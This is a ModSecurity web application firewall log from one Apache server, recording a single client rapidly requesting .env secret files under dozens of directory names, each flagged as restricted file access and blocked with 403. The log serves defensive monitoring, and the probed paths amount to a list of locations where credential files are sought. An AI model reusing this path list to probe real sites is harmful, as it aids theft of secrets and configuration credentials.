[Mon Jul 28 20:46:10.517355 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/framework/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IqwAAAAA&quot;]
[Mon Jul 28 20:46:10.537455 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /front-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-app/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IrAAAAAA&quot;]
[Mon Jul 28 20:46:10.537637 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-app/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IrAAAAAA&quot;]
[Mon Jul 28 20:46:10.537791 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-app/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IrAAAAAA&quot;]
[Mon Jul 28 20:46:10.557800 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /front-empathy/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-empathy/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IrQAAAAA&quot;]
[Mon Jul 28 20:46:10.558009 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-empathy/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IrQAAAAA&quot;]
[Mon Jul 28 20:46:10.558169 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-empathy/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IrQAAAAA&quot;]
[Mon Jul 28 20:46:10.578145 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /front-end/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-end/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IrgAAAAA&quot;]
[Mon Jul 28 20:46:10.578335 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-end/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IrgAAAAA&quot;]
[Mon Jul 28 20:46:10.578508 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-end/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IrgAAAAA&quot;]
[Mon Jul 28 20:46:10.598674 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /front/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IrwAAAAA&quot;]
[Mon Jul 28 20:46:10.598881 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IrwAAAAA&quot;]
[Mon Jul 28 20:46:10.599023 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IrwAAAAA&quot;]
[Mon Jul 28 20:46:10.619458 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /front/src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/src/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IsAAAAAA&quot;]
[Mon Jul 28 20:46:10.619635 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/src/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IsAAAAAA&quot;]
[Mon Jul 28 20:46:10.619781 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/src/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IsAAAAAA&quot;]
[Mon Jul 28 20:46:10.639857 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /frontend/momentum-fe/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/momentum-fe/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IsQAAAAA&quot;]
[Mon Jul 28 20:46:10.640060 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/momentum-fe/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IsQAAAAA&quot;]
[Mon Jul 28 20:46:10.640238 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/momentum-fe/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IsQAAAAA&quot;]
[Mon Jul 28 20:46:10.660373 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /frontend/react/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/react/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IsgAAAAA&quot;]
[Mon Jul 28 20:46:10.660566 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/react/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IsgAAAAA&quot;]
[Mon Jul 28 20:46:10.660730 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/react/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IsgAAAAA&quot;]
[Mon Jul 28 20:46:10.680900 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /frontend/vue/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/vue/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IswAAAAA&quot;]
[Mon Jul 28 20:46:10.681097 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/vue/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IswAAAAA&quot;]
[Mon Jul 28 20:46:10.681243 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/vue/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IswAAAAA&quot;]
[Mon Jul 28 20:46:10.723027 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /frontendfinaltest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontendfinaltest/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-ItQAAAAA&quot;]
[Mon Jul 28 20:46:10.723282 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontendfinaltest/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-ItQAAAAA&quot;]
[Mon Jul 28 20:46:10.723491 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontendfinaltest/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-ItQAAAAA&quot;]
[Mon Jul 28 20:46:10.743870 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ftp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftp/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-ItgAAAAA&quot;]
[Mon Jul 28 20:46:10.744103 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftp/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-ItgAAAAA&quot;]
[Mon Jul 28 20:46:10.744290 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftp/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-ItgAAAAA&quot;]
[Mon Jul 28 20:46:10.764548 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ftpmaster/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftpmaster/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-ItwAAAAA&quot;]
[Mon Jul 28 20:46:10.764799 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftpmaster/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-ItwAAAAA&quot;]
